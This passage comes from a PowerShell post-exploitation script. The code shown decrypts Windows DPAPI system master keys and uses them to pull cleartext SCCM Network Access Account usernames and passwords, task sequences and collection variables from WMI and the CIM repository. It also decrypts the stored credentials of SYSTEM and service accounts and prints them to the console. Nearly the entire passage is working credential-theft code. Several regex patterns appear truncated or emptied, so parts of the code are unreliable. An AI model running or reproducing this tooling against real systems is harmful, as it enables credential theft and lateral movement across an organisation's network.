714 | return [System.Security.Cryptography.ProtectedData]::Unprotect($blobBytes,$entropy,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
715 | }
716 |
717 | catch
718 | {
719 | return [System.Text.Encoding]::Unicode.GetBytes("MasterKey needed - $guidString")
720 | }
721 | }
722 |
723 | if ($MasterKeys.ContainsKey($guidString))
724 | {
725 | $keyBytes = [System.Collections.Generic.List[byte]]::new()
726 |
727 | for ($i = 0; $i -lt $MasterKeys[$guidString].Length; $i += 2)
728 | {
729 | $keyBytes.Add([Convert]::ToByte($MasterKeys[$guidString].Substring($i, 2), 16))
730 | }
731 |
732 | $keyBytes = $keyBytes.ToArray()
733 |
734 | try
735 | {
736 | $hmac = $null
737 |
738 | if($algHash -eq 32772)
739 | {
740 | $hmac = [System.Security.Cryptography.HMACSHA1]::new($keyBytes)
741 | }
742 |
743 | elseif ($algHash -eq 32782)
744 | {
745 | $hmac = [System.Security.Cryptography.HMACSHA512]::new($keyBytes)
746 | }
747 |
748 | else
749 | {
750 | Write-Host " [!] Unsupported hash algorithm: $algHash"
751 | return ,@()
752 | }
753 |
754 | $inputBytes = $saltBytes
755 |
756 | if ($entropy)
757 | {
758 | $inputBytes += $entropy
759 | }
760 |
761 | $derivedKeyBytes = $hmac.ComputeHash($inputBytes)
762 | $hmac.Dispose()
763 |
764 | $keySize = $algCryptLen / 8
765 | $finalKeyBytes = $derivedKeyBytes[0..($keySize-1)]
766 |
767 | $padding = if ($blobType -eq "credential") { "PKCS7" } else { "None" }
768 | $decrypted = Decrypt-Blob -ciphertext $dataBytes -key $finalKeyBytes -algId $algCrypt
769 |
770 | if ($blobType -eq "credential")
771 | {
772 | # I dont think we are missing anything by redacting this. Its produces alot of garbage around the data anyway. Should loop back to this later
773 | #$decText = [System.Text.Encoding]::Unicode.GetString($decrypted)
774 | #Write-Host " dec(blob) : $decText"
775 | }
776 |
777 | return $decrypted
778 | }
779 |
780 | catch
781 | {
782 | Write-Host " [X] Error during decryption: $_"
783 | }
784 | }
785 |
786 | else
787 | {
788 | if ($blobType -in "rdg","chrome")
789 | {
790 | return [System.Text.Encoding]::Unicode.GetBytes("MasterKey needed - $guidString")
791 | }
792 |
793 | else
794 | {
795 | Write-Host " [!] MasterKey GUID not in cache: $guidString"
796 | }
797 | }
798 |
799 | return ,@()
800 | }
801 |
802 | function Decrypt-Blob {
803 | param ([byte[]] $ciphertext, [byte[]] $key,[int] $algId)
804 |
805 | # Decrypts ciphertext using 3DES or AES-256 based on algorithm ID. Helper for Describe-DPAPIBlob.
806 | # Hand-off: Returns plaintext to Describe-DPAPIBlob.
807 |
808 | switch ($algId) {
809 | 26115 { # CALG_3DES
810 | $ivBytes = New-Object byte[] 8
811 | $des = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
812 | $des.Key = $key
813 | $des.IV = $ivBytes
814 | $des.Mode = [System.Security.Cryptography.CipherMode]::CBC
815 | $des.Padding= [System.Security.Cryptography.PaddingMode]::Zeros
816 |
817 | try
818 | {
819 | $decryptor = $des.CreateDecryptor()
820 | return $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
821 | }
822 |
823 | catch
824 | {
825 | Write-Warning "3DES decryption failed: $_"
826 | return $null
827 | }
828 |
829 | finally
830 | {
831 |
832 | if ($des)
833 | {
834 | $des.Dispose()
835 | }
836 | }
837 | }
838 |
839 | 26128 { # CALG_AES_256
840 | $ivBytes = New-Object byte[] 16
841 | $aes = New-Object System.Security.Cryptography.AesManaged
842 | $aes.Key = $key
843 | $aes.IV = $ivBytes
844 | $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
845 | $aes.Padding= [System.Security.Cryptography.PaddingMode]::Zeros
846 |
847 | try
848 | {
849 | $decryptor = $aes.CreateDecryptor()
850 | return $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
851 | }
852 | catch
853 | {
854 | Write-Warning "AES decryption failed: $_"
855 | return $null
856 | }
857 |
858 | finally
859 | {
860 | if ($aes)
861 | {
862 | $aes.Dispose()
863 | }
864 | }
865 | }
866 |
867 | default
868 | {
869 | return "[!] Unsupported algorithm: $algId"
870 | }
871 | }
872 | }
873 |
874 | enum CryptAlg {
875 | CALG_SHA1 = 32772
876 | CALG_SHA_512 = 32782
877 | CALG_AES_256 = 26128
878 | CALG_3DES = 26115
879 | }
880 |
881 |
882 | function Is-Unicode {
883 | param ([byte[]] $bytes)
884 |
885 | # Helper that checks if byte array contains Unicode data. Used during blob decryption analysis.
886 |
887 | if ($bytes.Length -lt 2)
888 | {
889 | return $false
890 | }
891 |
892 | # Check for UTF-16 LE/BE BOM or even-length characteristic
893 | return (
894 | ($bytes[0] -eq 0xFF -and $bytes[1] -eq 0xFE) -or # UTF-16 LE BOM
895 | ($bytes[0] -eq 0xFE -and $bytes[1] -eq 0xFF) -or # UTF-16 BE BOM
896 | ($bytes.Length % 2 -eq 0) # Even-length data
897 | )
898 | }
899 |
900 | function Decrypt-NAA {
901 | param ([string] $Blob, [hashtable] $MasterKeys)
902 |
903 | # Decrypts Network Access Account (NAA) credential blobs from SCCM using DPAPI master keys.
904 | # Hand-off: Uses Describe-DPAPIBlob. Returns cleartext to Decrypt-LocalNetworkAccessAccountsWmi.
905 |
906 | $size = [int]($Blob.Length / 2)
907 | [byte[]] $blobBytes = New-Object byte[] $size
908 |
909 | for ($i = 0; $i -lt $Blob.Length; $i += 2)
910 | {
911 | $blobBytes[$i / 2] = [Convert]::ToByte($Blob.Substring($i, 2), 16)
912 | }
913 |
914 | $offset = 4
915 | $size2 = [int]($Blob.Length / 2)
916 | [byte[]] $unmanagedArray = New-Object byte[] $size2
917 | [System.Buffer]::BlockCopy($blobBytes, 4, $unmanagedArray, 0, $blobBytes.Length - $offset)
918 | $blobBytes = $unmanagedArray
919 |
920 | if ($blobBytes.Length -gt 0)
921 | {
922 | [byte[]] $decBytesRaw = Describe-DPAPIBlob $blobBytes $MasterKeys
923 |
924 | if ($decBytesRaw -ne $null -and $decBytesRaw.Length -ne 0)
925 | {
926 | if (Is-Unicode $decBytesRaw)
927 | {
928 | $finalIndex = [Array]::LastIndexOf($decBytesRaw, [byte]0)
929 |
930 | if ($finalIndex -gt 1)
931 | {
932 | $decBytes = New-Object byte[] ($finalIndex + 1)
933 | [System.Array]::Copy($decBytesRaw, 0, $decBytes, 0, $finalIndex)
934 | $data = [System.Text.Encoding]::Unicode.GetString($decBytes)
935 |
936 | # Write-Host " dec(blob) : $data"
937 |
938 | return $data
939 | }
940 |
941 | else
942 | {
943 | $data = [System.Text.Encoding]::ASCII.GetString($decBytesRaw)
944 | if ($TaskSequence){ return $data }
945 |
946 | # Write-Host " dec(blob) : $data"
947 |
948 | return $data
949 | }
950 | }
951 |
952 | else
953 | {
954 | $hexData = ($decBytesRaw | ForEach-Object { $_.ToString("X2") }) -join " "
955 |
956 | # Write-Host " dec(blob) : $hexData"
957 |
958 | return $hexData
959 | }
960 | }
961 |
962 | else
963 | {
964 | return $null
965 | }
966 | }
967 |
968 | else
969 | {
970 | return $null
971 | }
972 | }
973 |
974 |
975 | function Triage-SystemMasterKeys {
976 |
977 | # Recursively searches for DPAPI master keys on disk and decrypts them using system DPAPI keys.
978 | # Hand-off: Uses Get-DPAPIKeys, Decrypt-MasterKeyWithSha. Returns GUID:key mapping to decryption functions.
979 |
980 | if ($global:mappings -and $global:mappings.Count -gt 0)
981 | {
982 | return $global:mappings
983 | }
984 |
985 | $global:mappings = @{}
986 | $dpapiKeys = Get-DPAPIKeys
987 |
988 | $rootPath = "$env:SystemRoot\System32\Microsoft\Protect\"
989 |
990 | Get-ChildItem -Path $rootPath -Recurse -Force | Where-Object { -not $_.PSIsContainer } | ForEach-Object {
991 |
992 | if ([Regex]::IsMatch($_.Name, "^(\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\}{0,1})$"))
993 | {
994 | try
995 | {
996 | $masterKeyBytes = [IO.File]::ReadAllBytes($_.FullName)
997 | $parentDir = $_.Directory.Name
998 | $grandParentDir = $_.Directory.Parent.Name
999 |
1000 | if ($parentDir -eq 'User') { $shaBytes = $dpapiUserKeysBytes }
1001 | elseif ($parentDir -eq 'Machine') { $shaBytes = $dpapiMachineKeysBytes }
1002 | elseif ($grandParentDir -like 'S-1-5-*') { $shaBytes = $dpapiUserKeysBytes }
1003 | else { $shaBytes = $dpapiMachineKeysBytes }
1004 |
1005 | $plainTextMasterKey = Decrypt-MasterKeyWithSha -MasterKeyBytes $masterKeyBytes -SHABytes $shaBytes
1006 |
1007 | foreach ($key in $plainTextMasterKey.Keys)
1008 | {
1009 | $global:mappings[$key] = $plainTextMasterKey[$key]
1010 | }
1011 | }
1012 |
1013 | catch
1014 | {
1015 | Write-Host "[!] Error triaging $($_.FullName): $($_.Exception.Message)"
1016 | }
1017 | }
1018 | }
1019 |
1020 | Write-Host "[*] SYSTEM master key cache:"
1021 |
1022 | foreach ($key in $global:mappings.Keys)
1023 | {
1024 | Write-Host "$key`:$($global:mappings[$key])"
1025 | }
1026 |
1027 | Write-Host "`n`n"
1028 |
1029 | return $global:mappings
1030 | }
1031 |
1032 | function Decrypt-LocalNetworkAccessAccountsWmi {
1033 | param ([System.Collections.IEnumerable] $NetworkAccessAccounts, [hashtable] $MasterKeys)
1034 |
1035 | # Decrypts SCCM Network Access Account credentials retrieved via WMI.
1036 | # Hand-off: Uses Triage-SystemMasterKeys and Decrypt-NAA. Outputs credentials to console.
1037 |
1038 | Write-Host "[+] Decrypting network access account credentials`n"
1039 |
1040 | foreach ($account in $NetworkAccessAccounts)
1041 | {
1042 | try
1043 | {
1044 | $protectedUsername = ($account.NetworkAccessUsername -split '\[')[2] -split '\]' | Select-Object -First 1
1045 | $protectedPassword = ($account.NetworkAccessPassword -split '\[')[2] -split '\]' | Select-Object -First 1
1046 |
1047 | $username = Decrypt-NAA -Blob $protectedUsername -MasterKeys $MasterKeys
1048 | $password = Decrypt-NAA -Blob $protectedPassword -MasterKeys $MasterKeys
1049 |
1050 | if ($username -like "00 00 0E 0E 0E*" -or $password -like "00 00 0E 0E 0E*")
1051 | {
1052 | Write-Host "[!] SCCM is configured to use the client's machine account instead of NAA`n"
1053 | }
1054 |
1055 | else
1056 | {
1057 | Write-Host "`n"
1058 |
1059 | Write-Host " Network Access Username: $username"
1060 | Write-Host " Network Access Password: $password"
1061 |
1062 | Write-Host "`n"
1063 | }
1064 | }
1065 |
1066 | catch
1067 | {
1068 | Write-Host "[!] Error decrypting NAA credentials: $_"
1069 | }
1070 | }
1071 | }
1072 |
1073 |
1074 |
1075 | function Format-XML {
1076 | param ([xml]$xml, [int]$indent = 2)
1077 |
1078 | $StringWriter = New-Object System.IO.StringWriter
1079 | $XmlWriter = New-Object System.Xml.XmlTextWriter $StringWriter
1080 | $XmlWriter.Formatting = "indented"
1081 | $XmlWriter.Indentation = $indent
1082 | $xml.WriteContentTo($XmlWriter)
1083 | $XmlWriter.Flush()
1084 | $StringWriter.Flush()
1085 | return $StringWriter.ToString()
1086 | }
1087 |
1088 | function Decrypt-LocalTaskSequencesWMI {
1089 | param ([array] $TaskSequences, [hashtable] $MasterKeys)
1090 |
1091 | Write-Host "[+] Decrypting Task Sequences`n"
1092 |
1093 | foreach ($taskSequence in $TaskSequences)
1094 | {
1095 | try
1096 | {
1097 | if ($taskSequence.TS_Sequence -match "")
1098 | {
1099 | $hexData = $matches[1] -replace '\s', ''
1100 | $plaintext = Decrypt-NAA -Blob $hexData -MasterKeys $MasterKeys
1101 |
1102 | if ($plaintext -is [byte[]])
1103 | {
1104 | $plaintext = [System.Text.Encoding]::UTF8.GetString($plaintext)
1105 | }
1106 |
1107 | Write-Host "`n"
1108 | Write-Host "[+] Task Sequence: "
1109 | Write-Host "`n"
1110 |
1111 | $xmlMatch = Select-String -InputObject $plaintext -Pattern "]*?>.*?" -AllMatches
1112 | $xmlPrinted = $false
1113 |
1114 | if ($xmlMatch.Matches.Count -gt 0)
1115 | {
1116 | foreach ($match in $xmlMatch.Matches)
1117 | {
1118 | try
1119 | {
1120 | $sequenceXml = [xml]$match.Value
1121 | Format-XML $sequenceXml | Write-Host -ForegroundColor Gray
1122 | $xmlPrinted = $true
1123 | Write-Host
1124 |
1125 | if ($global:NoSave)
1126 | {
1127 | continue
1128 | }
1129 |
1130 | $timestamp = Get-Date -Format "yyyy"
1131 | $Random = Get-Random -Minimum 1 -Maximum 10000
1132 | $cleanName = $taskSequence.Name -replace '[^\w\s-]', ''
1133 | $fileName = "TaskSequence_${cleanName}_${timestamp}_${Random}.xml"
1134 |
1135 | Start-Sleep -Milliseconds 10
1136 | $sequenceXml.Save((Join-Path -Path $pwd -ChildPath $fileName))
1137 |
1138 | Write-Host "`n"
1139 | Write-Host "[+] Saved XML to: $fileName"
1140 | }
1141 |
1142 | catch
1143 | {
1144 | Write-Host " [!] Extracted content is not valid XML"
1145 | }
1146 | }
1147 | }
1148 |
1149 | if (-not $xmlPrinted)
1150 | {
1151 | Write-Host " Decrypted Value: $plaintext"
1152 | }
1153 |
1154 | Write-Host "`n"
1155 | }
1156 |
1157 | else
1158 | {
1159 | Write-Host "[!] No CDATA found in Task Sequence: $($taskSequence.Name)" -ForegroundColor "Yellow"
1160 | }
1161 | }
1162 |
1163 | catch
1164 | {
1165 | Write-Host "[!] Error decrypting Task Sequence '$($taskSequence.Name)': $_" -ForegroundColor "Yellow"
1166 | }
1167 | }
1168 | }
1169 |
1170 |
1171 |
1172 | function Triage-SccmWMI {
1173 | param ([hashtable]$MasterKeys)
1174 |
1175 | # Main orchestrator for SCCM secret decryption via WMI. Retrieves NAA/Task Sequences and triggers decryption.
1176 | # Hand-off: Calls Triage-SystemMasterKeys, Decrypt-LocalNetworkAccessAccountsWmi, and Decrypt-LocalTaskSequencesWMI.
1177 |
1178 | $naa = @(Get-WmiObject -Namespace "root\ccm\policy\Machine\ActualConfig" -Class CCM_NetworkAccessAccount -ErrorAction SilentlyContinue)
1179 | $tasks = @(Get-WmiObject -Namespace "root\ccm\policy\Machine\ActualConfig" -Class CCM_TaskSequence -ErrorAction SilentlyContinue)
1180 |
1181 | if ($naa.Count -gt 0)
1182 | {
1183 | Write-Host "[+] Found $($naa.Count) Network Access Account(s)"
1184 | Decrypt-LocalNetworkAccessAccountsWmi -NetworkAccessAccounts $naa -MasterKeys $MasterKeys
1185 | }
1186 |
1187 | else
1188 | {
1189 | Write-Host "[!] No Network Access Accounts found"
1190 | }
1191 |
1192 | if ($tasks.Count -gt 0)
1193 | {
1194 | Write-Host "[+] Found $($tasks.Count) Task Sequence(s)"
1195 | Decrypt-LocalTaskSequencesWMI -TaskSequences $tasks -MasterKeys $MasterKeys
1196 | }
1197 |
1198 | else
1199 | {
1200 | Write-Host "[!] No Task Sequences found"
1201 | }
1202 | }
1203 |
1204 | function Triage-SccmDisk {
1205 | param ([hashtable] $Masterkeys)
1206 |
1207 | # Reads and parses the CIM repository OBJECTS.DATA file for SCCM policy secrets,
1208 | # matches secret types using regex, and attempts DPAPI decryption using discovered master keys.
1209 | # Outputs each decrypted secret type in a readable format.
1210 |
1211 | # Determine OBJECTS.DATA path based on architecture
1212 | $Path = "$env:SystemDrive\Windows\Sysnative\Wbem\Repository\OBJECTS.DATA"
1213 | if (-not [System.IO.File]::Exists($Path))
1214 | {
1215 | $Path = "$env:SystemDrive\Windows\System32\Wbem\Repository\OBJECTS.DATA"
1216 | }
1217 |
1218 | if ([System.IO.File]::Exists($Path))
1219 | {
1220 | $fs = [System.IO.FileStream]::new($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite)
1221 | $sr = [System.IO.StreamReader]::new($fs, [System.Text.Encoding]::Default)
1222 | $fileData = $sr.ReadToEnd()
1223 | $sr.Close()
1224 | $fs.Close()
1225 | }
1226 | else
1227 | {
1228 | Write-Host "`n[!] OBJECTS.DATA does not exist or is not readable`n"
1229 | return
1230 | }
1231 |
1232 | # Define regex patterns to match in OBJECTS.DATA
1233 | $regexes = @{
1234 | "networkAccessAccounts" = [regex]::new(
1235 | 'CCM_NetworkAccessAccount.*.*?)\]\]>.*.*?)\]\]>',
1236 | [System.Text.RegularExpressions.RegexOptions]::Multiline -bor
1237 | [System.Text.RegularExpressions.RegexOptions]::IgnoreCase
1238 | )
1239 | "taskSequences" = [regex]::new(
1240 | '.*.*?)\]\]>',
1241 | [System.Text.RegularExpressions.RegexOptions]::Multiline -bor
1242 | [System.Text.RegularExpressions.RegexOptions]::IgnoreCase
1243 | )
1244 | "collectionVariables" = [regex]::new(
1245 | 'CCM_CollectionVariable\x00\x00(?.*?)\x00\x00.*.*?)\]\]>',
1246 | [System.Text.RegularExpressions.RegexOptions]::Multiline -bor
1247 | [System.Text.RegularExpressions.RegexOptions]::IgnoreCase
1248 | )
1249 | "allSecrets" = [regex]::new(
1250 | '.*?)\]\]>',
1251 | [System.Text.RegularExpressions.RegexOptions]::Multiline -bor
1252 | [System.Text.RegularExpressions.RegexOptions]::IgnoreCase
1253 | )
1254 | }
1255 |
1256 | $matches = @{
1257 | "network access account" = @($regexes["networkAccessAccounts"].Matches($fileData))
1258 | "task sequence" = @($regexes["taskSequences"].Matches($fileData))
1259 | "collection variable" = @($regexes["collectionVariables"].Matches($fileData))
1260 | "other" = @($regexes["allSecrets"].Matches($fileData))
1261 | }
1262 |
1263 | if ($matches["other"].Count -gt 0)
1264 | {
1265 | $MasterKeys = Triage-SystemMasterKeys
1266 | $seenBlobs = @{}
1267 |
1268 | foreach ($matchKeyValuePair in $matches.GetEnumerator())
1269 | {
1270 | if ($matchKeyValuePair.Value.Count -gt 0)
1271 | {
1272 | Write-Host "`n[+] Decrypting $($matchKeyValuePair.Value.Count) $($matchKeyValuePair.Key) secrets"
1273 |
1274 | for ($index = 0; $index -lt $matchKeyValuePair.Value.Count; $index++)
1275 | {
1276 | $match = $matchKeyValuePair.Value[$index]
1277 | for ($idxGroup = 1; $idxGroup -lt $match.Groups.Count; $idxGroup++)
1278 | {
1279 | $groupName = $match.Groups[$idxGroup].Name
1280 | $groupValue = $match.Groups[$idxGroup].Value
1281 |
1282 | # Deduplication: skip if this blob has already been processed
1283 | # Likely this can stay but should test this on a larger number of machines to ensure we are not skipping data
1284 | if ($seenBlobs.ContainsKey($groupValue)) { continue }
1285 | $seenBlobs[$groupValue] = $true
1286 |
1287 | try
1288 | {
1289 | if ($groupName -eq "CollectionVariableName")
1290 | {
1291 | $collectionVariableValue = Decrypt-NAA -Blob $match.Groups[$idxGroup + 1].Value -MasterKeys $MasterKeys
1292 | Write-Host "`n CollectionVariableName: $groupValue"
1293 | Write-Host " CollectionVariableValue: $collectionVariableValue"
1294 | }
1295 |
1296 | elseif ($groupName -eq "NetworkAccessPassword")
1297 | {
1298 | $networkAccessUsername = Decrypt-NAA -Blob $match.Groups[$idxGroup + 1].Value -MasterKeys $MasterKeys
1299 | $networkAccessPassword = Decrypt-NAA -Blob $groupValue -MasterKeys $MasterKeys
1300 | Write-Host "`n NetworkAccessUsername: $networkAccessUsername"
1301 | Write-Host " NetworkAccessPassword: $networkAccessPassword"
1302 | Write-Host
1303 | if ($networkAccessUsername -like "00 00 0E 0E 0E*" -or $networkAccessPassword -like "00 00 0E 0E 0E*")
1304 | {
1305 | Write-Host " [!] At the point in time this secret was downloaded, SCCM was configured to use the client's machine account instead of NAA"
1306 | }
1307 | }
1308 |
1309 |
1310 | elseif ($groupName -eq "CollectionVariableValue" -or $groupName -eq "NetworkAccessUsername")
1311 | {
1312 |
1313 | }
1314 |
1315 | else
1316 | {
1317 | $secretPlaintext = Decrypt-NAA -Blob $groupValue -MasterKeys $MasterKeys
1318 | $xmlMatch = Select-String -InputObject $secretPlaintext -Pattern "]*?>.*?" -AllMatches
1319 | $xmlPrinted = $false
1320 |
1321 | if ($xmlMatch.Matches.Count -gt 0)
1322 | {
1323 |
1324 | foreach ($match in $xmlMatch.Matches)
1325 | {
1326 |
1327 | Write-Host "`n"
1328 | $sequenceXml = [xml]$match.Value
1329 | Format-XML $sequenceXml | Write-Host -ForegroundColor "Gray"
1330 |
1331 | if ($Global:NoSave)
1332 | {
1333 | Continue
1334 | }
1335 |
1336 | else
1337 | {
1338 | $timestamp = Get-Date -Format "yyyy"
1339 | $Random = Get-Random -Minimum 1 -Maximum 10000
1340 | $cleanName = $taskSequence.Name -replace '[^\w\s-]', ''
1341 | $fileName = "TaskSequence_${cleanName}_${timestamp}_${Random}.xml"
1342 |
1343 | Start-Sleep -Milliseconds 10
1344 | $sequenceXml.Save((Join-Path -Path $pwd -ChildPath $fileName))
1345 |
1346 | Write-Host "`n"
1347 | Write-Host "[+] Saved XML to: $fileName"
1348 | }
1349 | }
1350 |
1351 | $xmlPrinted = $true
1352 | }
1353 |
1354 | if (-not $xmlPrinted)
1355 | {
1356 | # Not sure how needed this is.. At this point this is usually garbage data that only serves to clutter the output
1357 | #Write-Host "`n Plaintext secret: $secretPlaintext"
1358 | }
1359 |
1360 | }
1361 |
1362 | }
1363 |
1364 | catch
1365 | {
1366 | Write-Host "`n[!] Data was not decrypted (Redacted Output)"
1367 |
1368 | $LimitLength = [Math]::Min(100, $groupValue.Length)
1369 | Write-Host "$($groupValue.Substring(0, $($LimitLength)))..."
1370 | Write-Host "`n"
1371 | }
1372 | }
1373 | }
1374 | }
1375 | }
1376 | }
1377 | else
1378 | {
1379 | Write-Host "[!] No policy secrets found"
1380 | }
1381 |
1382 | Write-Host "`n"
1383 | }
1384 |
1385 | function Triage-SystemCreds {
1386 | param([hashtable]$MasterKeys)
1387 |
1388 | # Orchestrates system credential enumeration and decryption across multiple Windows service profiles.
1389 | # Hand-off: Calls Triage-CredFolder for each credential location, which triggers Triage-CredFile and Parse-DecCredBlob.
1390 |
1391 | Write-Host "`n[*] Triaging System Credentials`n"
1392 |
1393 | $folderLocations = @(
1394 | "${env:SystemRoot}\System32\config\systemprofile\AppData\Local\Microsoft\Credentials",
1395 | "${env:SystemRoot}\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials",
1396 | "${env:SystemRoot}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials",
1397 | "${env:SystemRoot}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Credentials",
1398 | "${env:SystemRoot}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials",
1399 | "${env:SystemRoot}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Credentials"
1400 | )
1401 |
1402 | foreach ($location in $folderLocations)
1403 | {
1404 | if (Test-Path -Path $location -PathType Container)
1405 | {
1406 | Write-Host
1407 | Write-Host "Folder : $location"
1408 | Triage-CredFolder -Folder $location -MasterKeys $MasterKeys
1409 | }
1410 | }
1411 | }
1412 |
1413 |
1414 | function Triage-CredFile {
1415 | param ([string] $CredFilePath, [hashtable]$MasterKeys)
1416 |
1417 | # Processes individual credential files by reading and initiating DPAPI blob decryption.
1418 | # Hand-off: Calls Describe-Credential with credential file bytes and master keys for decryption.
1419 |
1420 | $FileName = [System.IO.Path]::GetFileName($CredFilePath)
1421 | Write-Host "`n"
1422 | Write-Host " CredFile : $FileName"
1423 | try
1424 | {
1425 | $CredentialArray = [System.IO.File]::ReadAllBytes($CredFilePath)
1426 | Describe-Credential $CredentialArray $MasterKeys
1427 | }
1428 | catch
1429 | {
1430 | Write-Host " [!] ERROR processing file: $CredFilePath"
1431 | Write-Host " Exception: $($_.Exception.Message)"
1432 | }
1433 | }
1434 |
1435 |
1436 | function Triage-CredFolder {
1437 | param ([string]$Folder, [hashtable]$MasterKeys)
1438 |
1439 | # Enumerates credential files within a specified folder and processes each one.
1440 | # Hand-off: Calls Triage-CredFile for each credential file found in the target directory.
1441 |
1442 | if ([string]::IsNullOrEmpty($Folder) -or -not (Test-Path -Path $Folder -PathType Container))
1443 | {
1444 | Write-Host "Folder : $Folder (does not exist or invalid path)"
1445 | return
1446 | }
1447 |
1448 | $SystemFiles = [System.IO.Directory]::GetFiles($Folder)
1449 | if ($SystemFiles.Length -eq 0)
1450 | {
1451 | Write-Host "Folder : $Folder (no files found)"
1452 | return
1453 | }
1454 |
1455 | foreach ($File in $SystemFiles)
1456 | {
1457 | try
1458 | {
1459 | Triage-CredFile -CredFilePath $File -MasterKeys $MasterKeys
1460 | }
1461 | catch
1462 | {
1463 | Write-Host " [!] ERROR processing file: $File"
1464 | Write-Host " Exception: $($_.Exception.Message)"
1465 | }
1466 | }
1467 | }
1468 |
1469 |
1470 | function Describe-Credential {
1471 | param([byte[]]$CredentialBytes, [hashtable]$MasterKeys)
1472 |
1473 | # Initiates DPAPI blob decryption for credential data and parses the decrypted result.
1474 | # Hand-off: Calls Describe-DPAPIBlob for decryption, then Parse-DecCredBlob for credential parsing.
1475 |
1476 | $plaintextBytes = Describe-DPAPIBlob -Blobbytes $CredentialBytes -MasterKeys $MasterKeys -blobType "credential"
1477 | if ($null -eq $plaintextBytes -or $plaintextBytes.Length -eq 0)
1478 | {
1479 | Write-Host " [X] Decryption failed or returned no data."
1480 | return
1481 | }
1482 |
1483 | Parse-DecCredBlob -DecBlobBytes $plaintextBytes
1484 | }
1485 |
1486 | function Parse-DecCredBlob {
1487 | param([byte[]]$DecBlobBytes)
1488 |
1489 | # Parses decrypted credential blob structure to extract credential metadata and secrets.
1490 | # Hand-off: Terminal function that outputs credential details including username, target, and password data.
1491 |
1492 |
1493 | $offset = 0
1494 | try
1495 | {
1496 | $credFlags = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1497 | $offset += 4
1498 | $credSize = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1499 | $offset += 4
1500 | $credUnk0 = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1501 | $offset += 4
1502 | $type = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1503 | $offset += 4
1504 | $flags = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1505 | $offset += 4
1506 |
1507 | $lastWritten = [BitConverter]::ToInt64($DecBlobBytes, $offset)
1508 | $offset += 8
1509 |
1510 | try
1511 | {
1512 | $lastWrittenTime = [DateTime]::FromFileTime($lastWritten)
1513 | $currentDate = Get-Date
1514 |
1515 | if (($lastWrittenTime -lt $currentDate.AddYears(-20)) -or
1516 | ($lastWrittenTime -gt $currentDate.AddYears(1)))
1517 | {
1518 | Write-Host " [!] Decryption failed, likely incorrect password for the associated masterkey"
1519 | return
1520 | }
1521 | }
1522 | catch
1523 | {
1524 | Write-Host " [!] Decryption failed, likely incorrect password for the associated masterkey"
1525 | return
1526 | }
1527 |
1528 | $unkFlagsOrSize = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1529 | $offset += 4
1530 | $persist = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1531 | $offset += 4
1532 | $attributeCount = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1533 | $offset += 4
1534 | $unk0 = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1535 | $offset += 4
1536 | $unk1 = [BitConverter]::ToUInt32($DecBlobBytes, $offset)
1537 | $offset += 4
1538 |
1539 | $targetNameLen = [BitConverter]::ToInt32($DecBlobBytes, $offset)
1540 | $offset += 4
1541 | $targetName = if ($targetNameLen -gt 0 -and $targetNameLen -le ($DecBlobBytes.Length - $offset))
1542 | {
1543 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $targetNameLen)
1544 | }
1545 | else { "" }
1546 | $offset += $targetNameLen
1547 |
1548 | $targetAliasLen = [BitConverter]::ToInt32($DecBlobBytes, $offset)
1549 | $offset += 4
1550 | $targetAlias = if ($targetAliasLen -gt 0 -and $targetAliasLen -le ($DecBlobBytes.Length - $offset))
1551 | {
1552 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $targetAliasLen)
1553 | }
1554 | else { "" }
1555 | $offset += $targetAliasLen
1556 |
1557 | $commentLen = [BitConverter]::ToInt32($DecBlobBytes, $offset)
1558 | $offset += 4
1559 | $comment = if ($commentLen -gt 0 -and $commentLen -le ($DecBlobBytes.Length - $offset))
1560 | {
1561 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $commentLen)
1562 | }
1563 | else { "" }
1564 | $offset += $commentLen
1565 |
1566 | $unkDataLen = [BitConverter]::ToInt32($DecBlobBytes, $offset)
1567 | $offset += 4
1568 | $unkData = if ($unkDataLen -gt 0 -and $unkDataLen -le ($DecBlobBytes.Length - $offset))
1569 | {
1570 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $unkDataLen)
1571 | }
1572 | else { "" }
1573 | $offset += $unkDataLen
1574 |
1575 | $userNameLen = [BitConverter]::ToInt32($DecBlobBytes, $offset)
1576 | $offset += 4
1577 | $userName = if ($userNameLen -gt 0 -and $userNameLen -le ($DecBlobBytes.Length - $offset))
1578 | {
1579 | [System.Text.Encoding]::Unicode.GetString($DecBlobBytes, $offset, $userNameLen)
1580 | }
1581 | else { "" }
1582 | $offset += $userNameLen
1583 |
1584 | $credBlobLen = [BitConverter]::ToInt32($DecBlobBytes, $offset)
1585 | $offset += 4
1586 | $credBlobBytes = if ($credBlobLen -gt 0 -and $credBlobLen -le ($DecBlobBytes.Length - $offset))
1587 | {
1588 | $tmp = New-Object byte[] $credBlobLen
1589 | [Array]::Copy($DecBlobBytes, $offset, $tmp, 0, $credBlobLen)
1590 | $tmp
1591 | }
1592 | else { @() }
1593 | $offset += $credBlobLen
1594 |
1595 | Write-Host "`n"
1596 | Write-Host (" guidMasterKey : {0}" -f $global:CurrentGuidMasterKey)
1597 | Write-Host (" size : {0}" -f $credSize)
